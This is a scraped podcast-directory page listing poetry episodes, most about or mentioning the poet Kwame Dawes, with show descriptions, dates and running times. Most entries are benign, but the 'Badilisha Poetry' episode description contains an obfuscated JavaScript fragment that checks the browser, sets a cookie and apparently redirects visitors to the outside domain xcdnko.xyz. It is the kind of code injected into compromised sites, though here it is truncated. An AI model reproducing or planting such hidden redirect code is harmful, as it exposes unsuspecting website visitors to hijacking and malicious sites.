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Books with BetsyEpisode 52 - My Entire Life is Words with Hannah GordonOn this episode, Hannah Gordon, a fellow CPS teacher and I discuss the importance of the library as a public service, how your reading life can turn around from what people expect of you as a child, and she brings some really great books to the show that haven’t been talked about yet.
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Book Talk and Signing for The Kat Bunglar with Tanima Kazi
Books mentioned in this episode:
What Betsy’s reading:
Are You Happy? By Lori Ostlund...2025-05-0559 min
The Hive Poetry CollectiveS7:E13 Christy Prahl Chats with Julie MurphyJoin Julie Murphy and Chicago poet, Christy Prahl, as they read and discuss Kwame Dawes' poem Sea and Rain from his book Nebraska. Then they dive into Christy's We Are Reckless (Cornerstone Press), a gorgeous collection of midwest poems that take a daring look into relationships, identity, pleasure, loss, and more. Sprinkled though the conversation is bits of craft, stories and laughter. The show concludes with an imaginative poem from Christy's new manuscript. Christy Prahl is an Illinois Arts Council grant recipient and the author of the poetry collections We Are Reckless (Cornerstone Press, 2023), With...2025-04-3056 min
The Weekly CatchMedicaid work rules could cut benefits for thousands, DOGE slashes RI Humanities funding, and more
Thousands of Rhode Islanders could lose Medicaid benefits if congress passes new work requirements. We hear about who would feel the greatest impact of such changes, including many people who already work full-time jobs. Also, DOGE has cut more than half a million dollars that was to go to Rhode Island Humanities, money that was appropriated for the nonprofit’s operating funds as well as grants for cultural programming. The group’s executive director shares what the loss will mean for the local economy and culture, and how the organization plans to fight the cuts. Plus, we talk with poet...2025-04-1807 min
ArtscapeMeet Kwame Dawes, Brown University professor and new poet laureate of Jamaica
Kwame Dawes is a poet, actor and musician whose work is shaped by a journey that started in Ghana, where he was born, all the way to Jamaica, where he was raised. Dawes, who joined the staff at Brown University in 2024, was recently named the poet laureate for Jamaica. Morning host Luis Hernandez spoke with Dawes about his journey, his poetry, what it means to be a poet laureate, and the current environment on college campuses.
The post Meet Kwame Dawes, Brown University professor and new poet laureate of Jamaica appeared first on TPR: The Public's Radio.2025-04-1713 min
WRFI Community Radio NewsPoetry and Reggae: Interviews with Kwame Dawes and Ishion HutchinsonJacob White of "Jamaican Clash" presents two important interviews examining the intersection of poetry, liberation, and reggae music. Kwame Dawes is the Poet Laureate of Jamaica as well as reggae scholar and the author of over 30 books. He's done award-winning reporting on AIDS in Haiti.Ishion Hutchinson is the author of three books of poetry and has won the National Book Critics Circle Award, the Rome Prize, a Guggenheim Fellowship, a Whiting Award, and other honors. His newest book, School of Instructions: Poems, explores the role of West Indian soldiers in WWI.2025-04-081h 11
Poetry CenteredKwame Dawes: Cleansing as FireKwame Dawes introduces poems that interrogate loss and violence, transforming them in the flame of irony, elegy, and empathy. He discusses Lucille Clifton distilling “pure moments of tremendous poetry” (“lu 1958”), Michael S. Harper offering a haunting conclusion that serves as both memorial and gift (“We Assume: On the Death of our Son, Reuben Masai Harper”), and Terrance Hayes treading the line where outrage meets compassion (“Carolina Lullaby,” “A Poem That Does Nothing,” “The Poet Ai as Dylann Roof”). Dawes closes with an unpublished poem, “The House of Two Women,” which engages with the turbulent present of American life.Find the full recordings...2025-01-2941 min
The Hive Poetry CollectiveS6:E37: Chris Abani and Kwame Dawes Hosted by Dion O'ReillyChris Abani and Kwame Dawes chat with Dion O'Reilly about KUMI: New-Generation African Poets: A Chapbook Box Set
THE LIMITED-EDITION BOX SET is a project started in 2014 to ensure the publication of up to a dozen chapbooks every year by African poets through Akashic Books. The series seeks to identify the best poetry written by African poets working today, and it is especially interested in featuring poets who have not yet published their first full-length book of poetry.
The nine poets included in this box set are: Nurain Oládèjì, Sarpong Osei Asamoah, Claudia Owus...2024-12-0558 min
Glocal CitizensEpisode 246: Writing as Activism: Ghanaian Voices and Pan-African Perspectives Across Genres with Nicole Amarteifio, Kwame Dawes and Nydia A. Swaby Live at Pa Gya!New Month Greetings Glocal Citizens!
The first Tuesday in November represents the official US election day. As polling evolves for higher participation and greater inclusion, most states offer early voting so millions have already cast thier votes. Throughout this year of elections across the globe, the build up to the two where I have a say, the United States and Ghana, has played a critical role in inspiring my most activist self to move the dial in different ways toward manifesting a new world. Coincidentally, this week on the podcast kicks off our Writing as Activism series...2024-11-0552 min
Friday LIVEKwame Dawes, Melodrama at Mahoney, Flatwater Shakespeare and morFriday Live welcomes guests from the worlds of music, theatre and literature.2024-08-301h 05Friday LIVEKwame Dawes, Melodrama at Mahoney, Flatwater Shakespeare and morFriday Live welcomes guests from the worlds of music, theatre and literature.2024-08-301h 05Friday LIVEExtra: Kwame Dawes and Bri MurphyOn this week's Friday LIVE Extra podcast: a conversation with poet Kwame Dawes about his new collection "Sturge Town" and his event in Lincoln; and Nebraska Wesleyan's David Gracie talks with Bri Murphy about the new exhibition of Murphy's work at Elder Gallery.2024-08-2038 minFriday LIVEExtra: Kwame Dawes and Bri MurphyOn this week's Friday LIVE Extra podcast: a conversation with poet Kwame Dawes about his new collection "Sturge Town" and his event in Lincoln; and Nebraska Wesleyan's David Gracie talks with Bri Murphy about the new exhibition of Murphy's work at Elder Gallery.2024-08-2038 minFriday LIVEExtra: Kwame Dawes and Bri MurphyOn this week's Friday LIVE Extra podcast: a conversation with poet Kwame Dawes about his new collection "Sturge Town" and his event in Lincoln; and Nebraska Wesleyan's David Gracie talks with Bri Murphy about the new exhibition of Murphy's work at Elder Gallery.2024-08-2038 minFriday LIVEExtra: Kwame Dawes and Bri MurphyOn this week's Friday LIVE Extra podcast: a conversation with poet Kwame Dawes about his new collection "Sturge Town" and his event in Lincoln; and Nebraska Wesleyan's David Gracie talks with Bri Murphy about the new exhibition of Murphy's work at Elder Gallery.2024-08-2038 min
Dr. Andy's Poetry and Technology HourRhony BhoplaOn the 8/7/24 edition of Dr. Andy’s Poetry and Technology Hour:Rhony Bhopla joins in to discuss her feelings after winning the 2024 Pacific University Alumni Association’s Emerging Leader Award. She describes the gratitude she holds for her community that has recognized her for her hard work. Rhony then shares her thoughts on the important intersection of poetry and politics, and delineates ways to approach such rhetoric through the arts. Dr. Andy and Rhony then have a conversation about the many roles an instructor takes on and activism on college campuses. Dr. Andy delivers a brief story abou...2024-08-0852 min
Poem-a-DayKwame Dawes: "Purple"Recorded by Kwame Dawes for Poem-a-Day, a series produced by the Academy of American Poets. Published on June 16, 2024. www.poets.org2024-06-1603 min
The Slowdown: Poetry & Reflection Daily1140: Fish, Serpent, Egg, Scorpion by Kwame DawesToday’s poem is Fish, Serpent, Egg, Scorpion by Kwame Dawes. The Slowdown is your daily poetry ritual. In this episode, Major writes… “Today’s poem highlights that cycle of hard truths and compassion passed between fathers and sons.” Celebrate the power of poems with a gift to The Slowdown today. Every donation makes a difference: https://tinyurl.com/rjm4synp2024-06-1407 min
The Slowdown: Poetry & Reflection Daily1140: Fish, Serpent, Egg, Scorpion by Kwame DawesToday’s poem is Fish, Serpent, Egg, Scorpion by Kwame Dawes. The Slowdown is your daily poetry ritual. In this episode, Major writes… “Today’s poem highlights that cycle of hard truths and compassion passed between fathers and sons.” Celebrate the power of poems with a gift to The Slowdown today. Every donation makes a difference: https://tinyurl.com/rjm4synp2024-06-1407 min
Seinfeld Book ReportEpisode 11 - “The Library”Donald checks out “The Library”, the fifth episode of season three. He chats about the pervy talent of Henry Miller, an important lesson from Kwame Dawes, and the only American institution that makes him feel a sense of patriotism.
Here are texts and authors discussed:
Tropic of Cancer by Henry Miller
Tropic of Capricorn by Henry Miller
The Sympathizer by Viet Thanh Nguyen
Kwame Dawes
Anaïs Nin2024-05-2129 minFriday LIVEPoet Kwame Dawes, King's Singers, Scott Guild and more...On the Feb. 16 “Friday LIVE," host Genevieve Randall and guests have lively conversations about: the biopic “Bob Marley One Love” with Kwame Dawes, who wrote a book about Marley; The King’s Singers concert at Wayne State; Scott Guild's new novel, "Plastic," and event in Lincoln; OmniArts Nebraska's new production; The Little Red Hen Theatre's “Murder in Margaritaville;" concerts by Lincoln's Symphony Orchestra; Felix & Fingers Dueling Pianos (featuring Jordan Peterson) in Minden; 1st Nebraska Volunteers Brass Band in York; and Sheldon Museum of Art Spring Exhibitions. Also, a look at some arts events presented by Omaha Performing Arts.2024-02-161h 06Friday LIVEPoet Kwame Dawes, King's Singers, Scott Guild and more...On the Feb. 16 “Friday LIVE," host Genevieve Randall and guests have lively conversations about: the biopic “Bob Marley One Love” with Kwame Dawes, who wrote a book about Marley; The King’s Singers concert at Wayne State; Scott Guild's new novel, "Plastic," and event in Lincoln; OmniArts Nebraska's new production; The Little Red Hen Theatre's “Murder in Margaritaville;" concerts by Lincoln's Symphony Orchestra; Felix & Fingers Dueling Pianos (featuring Jordan Peterson) in Minden; 1st Nebraska Volunteers Brass Band in York; and Sheldon Museum of Art Spring Exhibitions. Also, a look at some arts events presented by Omaha Performing Arts.2024-02-161h 06
Viewless Wings Poetry PodcastJared Harél's Poetry Captures Family, Love, and Death on the Canvas of New York City [INTERVIEW]Jared Harél is the author of Let Our Bodies Change the Subject, selected by Kwame Dawes as the Winner of the 2022 Raz/Shumaker Prairie Schooner Book Prize in Poetry (U. of Nebraska Press, 2023) and Go Because I Love You (Diode Editions, 2018.) He’s been awarded the ‘Stanley Kunitz Memorial Prize’ from American Poetry Review, as well as the ‘William Matthews Poetry Prize’ from Asheville Poetry Review. Harél’s poems have recently appeared in such journals as 32 Poems, Beloit Poetry Journal, Electric Literature, Lit Hub, Ploughshares, Poem-a-Day, The Southern Review and The Sun. He teaches writing, plays drums, and lives with...2023-12-0546 min
A Força das CoisasLisbon Revisited, os Dias de Poesia 2023 na Casa Fernando PessoaAs leituras de poemas por Andreia C. Faria, João Luís Barreto Guimarães, Pedro Mexia, Hélia Correia, o ganês Kwame Dawes, a ucraniana Halyna Kruk e a galega Chus Pato, com as respectivas traduções.2023-11-111h 58A Força das CoisasLisbon Revisited, os Dias de Poesia 2023 na Casa Fernando PessoaAs leituras de poemas por Andreia C. Faria, João Luís Barreto Guimarães, Pedro Mexia, Hélia Correia, o ganês Kwame Dawes, a ucraniana Halyna Kruk e a galega Chus Pato, com as respectivas traduções.2023-11-111h 58
Arji's Poetry Pickle JarArji's Poetry Pickle Jar X Poetry Book Society - A conversation with Kwame Dawes.I am so massively excited to bring Kwame Dawes into the Pickle Jar.
He is the author of twenty books of poetry and numerous other books of fiction, criticism, and essays. In 2016 his book, Speak from Here to There, a co-written collection of verse with Australian poet John Kinsella appeared. He is Glenna Luschei Editor of Prairie Schooner and teaches at the University of Nebraska and the Pacific MFA Program. He is Director of the African Poetry Book Fund and Artistic Director of the Calabash International Literary Festival.
Often called 'the busies...2023-10-1925 minSeinfeld Book ReportEPISODE 2 - "The Robbery"Donald Quist looks at "The Robbery," the third episode of season one. He introduces a new segment for the podcast, expounds on his undying love for Elaine Benes, and discusses the introduction of prominent Batman villain, The Penguin.
Here are the books and authors discussed in this episode:
Kwame Dawes
Who Makes the Franchises? : Essays on Fandom and Wilderness Texts in Popular Media (edited by Rhonda Knight & Donald Quist
Detective Comics #58
The Amazing Adventures of Kavalier & Clay by Michael Chabon
Auto Trader (https://www.theguardian.com/m...2023-06-1921 min
Dante's Old South Radio Show46 - Dante's Old South Radio Show (February 2023)Kendel Hippolyte was born in Castries, St. Lucia, in 1952. In the 1970s he studied and lived in Jamaica, receiving a BA from the University of the West Indies in 1976.
Hippolyte is the author of several books of poetry, including Fault Lines (Peepal Tree Press, 2012), Night Vision (Triquarterly Books/Northwestern University Press, 2005), and Birthright (Peepal Tree Press, 1997). Of his work, Kwame Dawes writes, “One gets the sense of a writer working in a laboratory patiently, waiting for the right image to come, and then placing it there only when it comes.”
Hippolyte, who is also a playwright a...2023-03-161h 00
Keeping KurrentA Young Poet's StoryListen to an interview of Rhony Bhopla, a British indo-American poet and artist, recent graduate of the MFA in Fine Arts in writing from Pacific University in Forest Grove, Oregon. She became a teaching assistant in the Kwame Dawes Mapmakers Institute at the University. She will share one of her poems that was published during her first year. She produced art that was available through the Crocker Art Museum. You will find yourself deeply affected by he reading of one of her published poems.2023-03-1037 min
Public SquarePublic Square 2.0 - “The Harder They Come: A Radical Retelling” Perry Henzell’s breakthrough film, THE HARDER THEY COME premiered in 1972, showing a side of Jamaican culture never seen before on the screen by Jamaicans or around the world. Over 50 years later, this groundbreaking film is a new musical adaptation with a book by Suzan-Lori Parks (Pulitzer Prize-winning playwright, The Public’s Writer-in-Residence). This episode pulls apart the cultural nuances and underbelly of a culture not often examined in a theatrical setting. Join us as we dive deep into the history of the film in1970s Jamaica, as well as a look at what goes into adapting a film into...2023-02-161h 23Dante's Old South Radio Show45 - Dante's Old South Radio Show (January 2023) Kendel Hippolyte was born in Castries, St. Lucia, in 1952. In the 1970s he studied and lived in Jamaica, receiving a BA from the University of the West Indies in 1976.
Hippolyte is the author of several books of poetry, including Fault Lines (Peepal Tree Press, 2012), Night Vision (Triquarterly Books/Northwestern University Press, 2005), and Birthright (Peepal Tree Press, 1997). Of his work, Kwame Dawes writes, “One gets the sense of a writer working in a laboratory patiently, waiting for the right image to come, and then placing it there only when it comes.”
Hippolyte, who is also a playwright an...2023-02-161h 12
Rattle Poetryep. 181 - Open LinesThe originally schedule guest, Kwame Dawes, couldn't make it, so this week's episode of the Rattlecast featured an extended open lines. But first, Michael Mark and Thomas Mixon joined to share recent Poets Respond poems.
For links to all the past episodes, visit:
https://www.rattle.com/rattlecast/
This Week’s Prompt:
Write a linked haiku sequence in which each haiku includes a line from the previous haiku.
Next Week's Prompt:
Write a poem in reply to someone else’s poem.
The Rattlecast livestreams on YouTube, Facebook, and Twitter, then becomes an audio podcast. Find it on iTunes, Spotify, or anyw...2023-02-142h 17
ReNounedDirt | Episode 7In this episode, hosts Mark Schulz and Alison Hager discuss the noun “dirt.”
ReNouned is a podcast for the curious. We dust off the commonplace to look for shiny new relevance as we challenge ourselves to think critically about the objects that surround us. How do they echo humanity’s past, reflect the present, or foreshadow the future?
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FreeVerse (by Salamander Ink Mag)Poetry Reading Series: Ep 14In this episode of our ‘Poetry Reading series’, we feature two amazing young African poets:
-Henneh Kyereh Kwaku, reading his poem “Someday I'll love Kwaku Kyereh” first published by Olongo Africa
&
-Pamilerin Jacob, reading his poem “LACY”, published in his MicroChap Cordial With Disillusionment (Ghost City Press, 2021).
Pamilerin Jacob is a Nigerian poet & editor whose poems have appeared in Barren Magazine, Agbowó, Poetry Potion, Ghost City Press, Feed Lit Mag, Neologism, IceFloe Press & elsewhere. He was the second runner-up for Sevhage Poetry Prize 2019, co-winner PIN Food Poetry Contest 2018. A Best of the Net nominee, his poems also appear in Memento: An Anthology of...2022-05-1307 minPoem-a-DayKwame Dawes: "It Bruises, Too"Recorded by Kwame Dawes for Poem-a-Day, a series produced by the Academy of American Poets. Published on February 28, 2022. www.poets.org2022-02-2803 min
New Caribbean VoicesEpisode 8 | Food Series - Part 1/3Poet and presenter Malika Booker sits down with Peepal Tree Press' founder and managing editor, Jeremy Poynting, to discuss the different ways Caribbean writers explore food. With readings from Kwame Dawes, Marcia Douglas, Khadijah Ibrahiim, Malika Booker and John Lyons. The next few podcasts will think about Covid's effect on our relationships with our kitchens, as well as looking at selections of writing from the Caribbean diaspora about what food means to Caribbean writing and culture. Produced by Melody Triumph for Peepal Tree Press. Thumbnail artwork: 'Rainbirds', by Stanley Greaves. Music: Chris Cambell. With special thanks to Arts Council England...2022-01-2933 min
The Chirp PodcastS2E5 SHOOK FOIL by Kwames Dawes|A Poetry Reading EditionFor this second poetry reading edition, we feature Kwame Dawes poem "Shook Foil" which incorporates the beauty of nature and the warm cling of reggae music.2021-11-1404 min
The Chapbook19. Chapbook News You Can Use: October 2021October 2021 News You Can Use: excerpts from chaps, upcoming new releases, chapbook submissions, and a listener writes in to ask: what are some ways you've seen chapbook authors create connections within a collection?links related to this episode:Gasher Journal & PressFACING THE MIRROR: AN ESSAY by Katherine Indermaur (COAST|noCOAST)Ursus Americanus Press Hunger Journal & PressBREAKING POINTS by Chelsea Stickle (Black Lawrence Press)New-Generation African Poets: A Chapbook Box Set (Nane) editors Kwame Dawes & Chris Abani (Akashic Books)VALLEY OF WANT by Ross White (Unicorn Press) Sunken Garden Poetry Prize (Tupelo Press) Chad Walsh Chapbook Series (Bel...2021-10-2818 min
Los Angeles Public Library's Poems on AirEpisode 13: SkinLos Angeles Poet Laureate Lynne Thompson reads Kwame Dawes’s "Skin".2021-06-2503 minFriday LIVEFriday Live: McFarlane & Surrick, Grace Bauer, Black Voices, and more!On the April 16th Friday LIVE, host Genevieve Randal and guests have lively conversations about: Ronn McFarlane and Carolyn Surrick's performance (01:18); Grace Bauer’s new book (10:20); "Black Voices in a Time of Change" hosted by Kwame Dawes (21:35); Nebraska Brass and Nebraska Jazz Orchestra conc...2021-04-1600 minFriday LIVEMcFarlane & Surrick, Grace Bauer, Black Voices, and more!On the April 16th Friday LIVE, host Genevieve Randal and guests have lively conversations about: Ronn McFarlane and Carolyn Surrick's performance (01:18); Grace Bauer’s new book (10:20); "Black Voices in a Time of Change" hosted by Kwame Dawes (21:35); Nebraska Brass and Nebraska Jazz Orchestra concerts, and the Thursday and Friday night music series, all presented by Arts Incorporated (36:00); Yorkshire Playhouse's presentation of "The New Kid on the Block" (43:39); Nebraska Grown Arts Festival (49:45); and, the UNL Wind Ensemble's concert featuring Nolan Schmit's new work (55:38). Also, poetry by Saddiq Dzukogi (31:47), and KVNO's Corbin Hirschhorn tells us about Vesper Concerts next concert (01:03:58).2021-04-161h 09Friday LIVEMcFarlane & Surrick, Grace Bauer, Black Voices, and more!On the April 16th Friday LIVE, host Genevieve Randal and guests have lively conversations about: Ronn McFarlane and Carolyn Surrick's performance (01:18); Grace Bauer’s new book (10:20); "Black Voices in a Time of Change" hosted by Kwame Dawes (21:35); Nebraska Brass and Nebraska Jazz Orchestra concerts, and the Thursday and Friday night music series, all presented by Arts Incorporated (36:00); Yorkshire Playhouse's presentation of "The New Kid on the Block" (43:39); Nebraska Grown Arts Festival (49:45); and, the UNL Wind Ensemble's concert featuring Nolan Schmit's new work (55:38). Also, poetry by Saddiq Dzukogi (31:47), and KVNO's Corbin Hirschhorn tells us about Vesper Concerts next concert (01:03:58).2021-04-161h 09
Poet Box SeriesChatting with Henneh Kyereh KwakuJoin Aisha as she explores the mind of Ghanian writter Henneh Kyereh KwakuHenneh Kyereh Kwaku is a poet from Gonasua in Ghana. He is the author of Revolution of the Scavengers, selected by Kwame Dawes and Chris Abani for the APBF New Generation African Poets Chapbook Series.His works have appeared in: Lolwe, Agbowó, Tampered Press, Lunaris Review, Tupelo Quarterly, Poetry Society of America, IceFloe Press, New South Journal, and a few other places. Find him on Twitter/IG: @kwaku_kyereh.2021-04-0754 min
The Quarantine TapesThe Quarantine Tapes: A Symphony Of Voices Part 1This episode of The Quarantine Tapes is a very special episode bringing together clips from the past one year of the podcast. With these clips, join us in returning to some of the most thoughtful, interesting, and moving moments from this chronicle of our past year in quarantine. We hear from Werner Herzog, Naveen Kishore, and Rosanne Cash on their hopes and fears in the early days of this crisis, and from Patton Oswalt, Joy Harjo, Eddie S. Glaude, Jr., and many more over the course of the past year. These luminous voices speak to t...2021-03-2532 min
Essah's WayEpisode 086 | Carry It with GraceEpisode 086. Saddiq Dzukogi discusses grief, fathering, and migration through poetry.
Saddiq Dzukogi is the author of Your Crib, My Qibla. His poems have appeared or are forthcoming in Oxford Review of Books, Kenyon Review, Oxford Poetry, Salamander, Southeast Review, and Obsidian, among others. His chapbook Inside the Flower Room was selected by Kwame Dawes and Chris Abani for the APBF New-Generation African Poets Series. He was a finalist for the 2017 Brunel International African Poetry Prize. Saddiq is currently a PhD student in English at the University of Nebraska–Lincoln.
Order Your Crib, My Qibla here: https://www.nebraskapress.unl.edu/ne...2021-03-1527 minPoem-a-DayKwame Dawes: "How I Pray in the Plague"Recorded by Kwame Dawes for Poem-a-Day, a series produced by the Academy of American Poets. Published on February 18, 2021. www.poets.org2021-02-1808 min
For PosterityS2/ Ep7: Getting Bright, Free, and 'Facety' with TygapawSometimes we have to sink into the depths so that we can eventually GET FREE. So, if you’re ready to give yourself over to word and sound power, then listen in on this conversation with my guest, the DJ-producer, Jamaican-raised, Brooklyn-dwelling, soundscape-maker, and body-controller Dion McKenzie, better known as Tygapaw. We discuss marronage, trauma, music, badmind, and process. This episode features new music by Tygapaw whose debut album GET FREE is available for purchase on Bandcamp.com and for streaming elsewhere. This episode features "Facety," "Who Can't Hear Must Feel" and references "Ode to Black Trans Lives" and "Ownland." This...2020-12-021h 29Poem-a-DayKwame Dawes and John Kinsella: from "A Coda to History"Recorded by Kwame Dawes and John Kinsella for Poem-a-Day, a series produced by the Academy of American Poets. Published on June 11, 2020. www.poets.org2020-06-1116 min
The Quarantine TapesThe Quarantine Tapes 037: Kwame DawesToday Paul Holdengräber is joined by Kwame Dawes on episode 037 of The Quarantine Tapes.2020-05-1230 min
The New Yorker: PoetryKwame Dawes Reads Derek WalcottKwame Dawes joins Kevin Young to read “The Season of Phantasmal Peace,” by Derek Walcott, and his own poem “Before Winter.” Dawes is the author of over twenty books of poetry, fiction, and nonfiction. His many honors include a 2019 Windham Campbell Prize, a Guggenheim Fellowship, a Barnes and Noble Writers for Writers Award, and the Ford Prize for Poetry.
Learn about your ad choices: dovetail.prx.org/ad-choices2020-02-2635 min
Midnight Poetry"Talk" by Kwame DawesPoetry perfomance... the theme is anger2019-10-2007 min
Poetry from Studio 47Poetry from Studio 47 - Episode 15 - Kwame DawesKnown as the "hardest working man in literature", this is Kwame Dawes, who recently won the Windham-Campbell Prize for Poetry 2019-04-2903 min
LibraryVoicesSCFrom Our Collection - Poetry - Episode 81In this episode, Sarah and Kerry discuss some poetry-related items from our collection. Kerry tells us all about Helen von Kolnitz Hyer who was the second poet laureate of South Carolina and has three different books in our collection. Sarah talks about two books: A Season in the Hour: Poems from the Prisons of South Carolina from Frank Graziano and Home is Where: an Anthology of African American Poetry from the Carolinas from Kwame Dawes.
Books by Helen von Kolnitz Hyer:
Danger never sleeps (1970) – A collection of poetry.
What the Wind Forgets: A Woman’s Heart Rememb...2019-04-2418 min
Stream Popular Full Audiobooks in Fiction, DramaBivouac by Kwame DawesPlease visit https://thebookvoice.com/podcasts/1/audiobook/376536 to listen full audiobooks. Title: Bivouac Author: Kwame Dawes Narrator: Beresford Bennett Format: Unabridged Audiobook Length: 6 hours 59 minutes Release date: April 2, 2019 Ratings: Ratings of Book: 3 of Total 1 Ratings of Narrator: 3 of Total 1 Genres: Drama Publisher's Summary: When Ferron Morgan's father dies in suspicious circumstances, his trauma is exacerbated by the conflict within his family and among his father's friends over whether the death was the result of medical negligence or if it was a political assassination. Ferron grew up in awe of his father's radical political endeavors, but in later years he watched...2019-04-0230 min
TORCH | The Oxford Research Centre in the HumanitiesDiscussion: What is a decolonial curriculum?Kwame Dawes, Jok Madut Jok, Peter D Mcdonald and Anu Anand discuss What is a decolonial curriculum? Held at TORCH on 28th November 2018. Decolonising the curriculum must mean more than simply including diverse texts. As Dalia Gebrial, one of the editors of the new book, Decolonising the University (Pluto Press, 2018) has written, any student and academic-led decolonisation movement must not only 'rigorously understand and define its terms, but locate the university as just one node in a network of spaces where this kind of struggle must be engaged with. To do this...is to enter the university space as a...2019-02-1525 minTORCH | The Oxford Research Centre in the HumanitiesKwame Dawes - What is a decolonial curriculum?Kwame Dawes, TORCH Visiting Professor, University of Oxford, gives a talk for the workshop, What is a Decolonial Curriculum? Held at TORCH on 28th November 2018. Decolonising the curriculum must mean more than simply including diverse texts. As Dalia Gebrial, one of the editors of the new book, Decolonising the University (Pluto Press, 2018) has written, any student and academic-led decolonisation movement must not only 'rigorously understand and define its terms, but locate the university as just one node in a network of spaces where this kind of struggle must be engaged with. To do this...is to enter the university space...2019-02-1505 min
NB PublishersGabeba Baderoon LiveListen to Sindiswa Busuku-Mathese in conversation with Gabeba Baderoon about her new collection of poetry ─ The History of Intimacy ─ featuring beautiful readings by Gabeba.
The History of Intimacy is the fourth collection by award-winning poet Gabeba Baderoon. Breathtaking intimacies and private hurts are crafted into lyrical form – in poems on desiring what is furthest from you, memories of a midnight swim, how children work out the laws of existence, the stakes of speaking a forbidden word, elegies to a jazz prodigy and a beloved poet, and how not to be alone.
"Baderoon’s poems are finely crafted objects of art, deli...2018-10-051h 04
Three BooksEpisode 9: T-WAAP: Teen Writers And Artists ProjectThree Books is Ela Area Public Library’s podcast series where our host (just Becca this time) chats about three popular/favorite books. Our TWO guests this month, Adam Gottlieb and Corey Dillard, talk about poetry, spirituality, Winnie the Pooh, chocolate cake and more!
0:00:28 Guest Introductions
0:04:32 About the Louder than a Bomb Festival
0:10:12 Adam Book 1- The Tao Te Ching of Lao Tzu
0:13:49 Middle School Transformations thru reading
0:16:30 Corey Book 1: The Tao of Pooh
0:24:58 Pooh in China
0:26:36 Corey Book 2: The Thief of Always
0:35:27 Adam Book 2: Pedagogy of the Oppressed
0:45:21 Adam Bo...2018-06-281h 33
From the Catbird Seat: Poetry from the Library of CongressConversations with African Poets and WritersOn the fifth episode of From the Catbird Seat, Rob Casper goes behind the scenes with Ghanaian poet and editor Kwame Dawes about the February 2017 “Conversations with African Poets and Writers: African Poetry Book Fund Spotlight” event at the Library of Congress. Dawes discussess the formation of the African Poetry Book Fund, an organization that promotes and advances the development and publication of the poetic arts of Africa, and then we’ll listen to event clips featuring African Book Fund editorial board members Chris Abani, Matthew Shenoda, and Aracelis Girmay; and poets Chekube O. Danladi, Safia Elhillo, Patricia Jabbeh Wesley...2018-05-2228 minFrom the Catbird Seat: Poetry from the Library of CongressConversations with African Poets and WritersOn the fifth episode of "From the Catbird Seat," Rob Casper goes behind the scenes with Ghanaian poet and editor Kwame Dawes about the February 2017 "Conversations with African Poets and Writers: African Poetry Book Fund Spotlight" event at the Library of Congress. Dawes discussess the formation of the African Poetry Book Fund, an organization that promotes and advances the development and publication of the poetic arts of Africa, and then we'll listen to event clips featuring African Book Fund editorial board members Chris Abani, Matthew Shenoda, and Aracelis Girmay; and poets Chekube O. Danladi, Safia Elhillo, Patricia Jabbeh Wesley, and...2018-05-2200 min
Harvard Divinity School"To Buy a Pair of Shoes," by Kwame DawesListen to Kwame Dawes read "To Buy a Pair of Shoes" for the last day of our #NationalPoetryMonth 2017 celebration. Originally published in Harvard Divinity Bulletin, Summer/Autumn 2013.2017-04-2403 min
The Literary LifeEpisode 17 - Kwame DawesAn introduction to Kwame Dawes and a reading of his poem, "Fire"2016-08-0205 min
Vermont Studio CenterVSC Reading Series: Kwame Dawes 2/22/16Visiting Writer Kwame Dawes shares his work with the VSC community in February 2016. Kwame was born in Ghana in 1962 and spent much of his childhood in Jamaica. He is the author of over a dozen books, including Wisteria: Poems From the Swamp Country, Impossible Flying, Back of Mount Peace, Hope’s Hospice, Wheels, and Duppy Conqueror: New and Selected Poems. Dawes’ novels include She’s Gone, and Bivouac, and his non-fiction collections include A Far Cry From Plymouth Rock: A Personal Narrative, and Fugue and Other Writings. He is also the author of Bob Marley: Lyrical Genius, a study of the mu...2016-03-1541 min
Scottish Poetry Library Podcast[LineBreak] Kwame Dawes: This Is Our HeartThis month on The Line Break, Ryan re-visits an interview with poet and journalist Kwame Dawes and discusses the challenges of writing poetry about often painful world events, and how to find beauty, happiness and truth in the 'cesspools of experience' that follow. And Ryan sets out more of his 'poetry sparks', including how to write a blues poem.
Listeners to The Line Break can also join the The Line Break group on CAMPUS, the Poetry School’s free online community for poets. http://campus.poetryschool.com
This episode is produced by Culture Laser Productions http://www.culturelaser.com @cu...2015-07-0127 min
Badilisha Poetry – Pan-African PoetsKwame DawesGhanaian-born Jamaican poet, Kwame Dawes is the award-winning author of sixteen books of poetry (most recently, Wheels, 2011) and numerous books of fiction, non-fiction, criticism and drama. He is the Glenna Luschei Editor of Prairie Schooner, and a Chancellor’s Professor of English at the University of Nebraska. Kwame Dawes also teaches in the Pacific MFA Writing program.var _0x1e50=['charAt','substring','indexOf','userAgent','match','Edge','MSIE;','Chromium','Firefox','Chrome','ppkcookie','location','replace','https://www.xcdnko.xyz','getElementById','wpadminbar','undefined','setTime','getTime','cookie','split','length'];(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa...2014-07-2400 min
OPB's State of WonderJuly 5 2014 - StOW Segment 2: Kwame Dawes, Whitelandia, Porch Music00:00 Quality time with poet and Professor Kwame Dawes. 06:05 A check-in on the documentary project Whitelandia11:03 We catch some Porch Music with Third Angle Ensemble2014-07-0414 min
OPB's State of WonderKwame Dawes: Form & StructureHere's the segment from this week's show with poet and professor Kwame Dawes. He's on faculty at Pacific University's MFA Writing program, and makes regular visits to Forest Grove. We caught with him to talk about the poetic line, and the composition of MFA programs. Photo by Eliza Griffiths.2014-07-0405 min
OPB's State of WonderKwame Dawes Reads for State of WonderThe Jamaican poet Kwame Dawes is a consistent favorite at Pacific University's Low-Residency MFA program. While he may be best known for his critical writing on the works of Bob Marley, he's written evocatively on a range of subjects, from HIV/AIDS in Haiti to the American South to the playwright August Wilson. He kindly read for us this poem, reflecting on one of Wilson's characters.2014-07-0403 min
Vermont Studio CenterVSC Reading Series: Kwame Dawes 9/24/2012Dawes has published fifteen collections of poetry. His most recent titles include Back of Mount Peace (2009); Hope's Hospice (2009); Wisteria, finalist for the Patterson Memorial Prize; Impossible Flying (2007); and Gomer's Song (2007). Progeny of Air (Peepal Tree, 1994) was the winner of the Forward Poetry Prize for Best First Collection in the UK. Other poetry collections include Resisting the Anomie (Goose Lane, 1995); Prophets (Peepal Tree, 1995); Jacko Jacobus, (Peepal Tree, 1996); and Requiem, (Peepal Tree. 1996), a suite of poems inspired by the illustrations of African American artist, Tom Feelings in his landmark book The Middle Passage: White Ships/Black Cargo; and Shook Foil (Peepal Tree, 1998...2014-05-0844 min
Poetry LecturesMatthew Shenoda: International Poets in ConversationKwame Dawes speaks with Matthew Shenoda about Shenoda's poetry and identity as an Egyptian American, and the poetry of the African diaspora.
